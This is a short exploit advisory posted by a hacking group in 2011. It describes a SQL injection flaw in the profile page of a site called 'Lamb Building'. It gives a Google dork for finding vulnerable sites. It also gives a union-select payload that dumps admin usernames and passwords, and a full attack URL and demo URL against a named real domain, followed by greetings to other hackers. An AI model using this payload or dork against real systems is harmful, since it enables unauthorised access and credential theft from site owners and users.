__________.__ __ ___ ___ \______ \ | _____ ____ | | __ / | \ ____ | | _/ | \__ \ _/ ___\| |/ / ______ / ~ \/ ___\ | | \ |__/ __ \\ \___| < /_____/ \ Y / /_/ > |______ /____(____ /\___ >__|_ \ \___|_ /\___ / \/ \/ \/ \/ \//_____/ .ORG ################################################### [-] Exploit Title: Lamb Building SQL Injection Vulnerability [-] Author: Net.Edit0r [-]Discovered By: Mr.XHat [-] Home : Black-HG.Org [-] Version: Full [-] Tested On: Linux [-] Google Dork: inurl:profile.php?id= intext:"Lamb Building" [-] Email : Black.hat.tm[at]Gmail[dot]Com / Net.Edit0r[at]att[dot]net [-] Date : 30/08/2011 [-] CVE : N/A ################################################## # Exploit: [+] 1+union+select+1,group_concat(username,0x3a,password)+from+lambbuil_1.admin-- [+] http://www.lambbuilding.co.uk/members/profile.php?id=1+union+select+1,group_concat(username,0x3a,password)+from+lambbuil_1.admin-- # Demo URL: [+] http://www.lambbuilding.co.uk/members/profile.php?id=1' ################################################## # | Greetz : # | A.Cr0x & 3H34N & 4m!n & Cyrus & tHe.k!ll3r & Mr.XHat & Mikili ################################################## magic_quotes_gpc :: Off ################################################## I Love Iran And All Iranian People ##################################################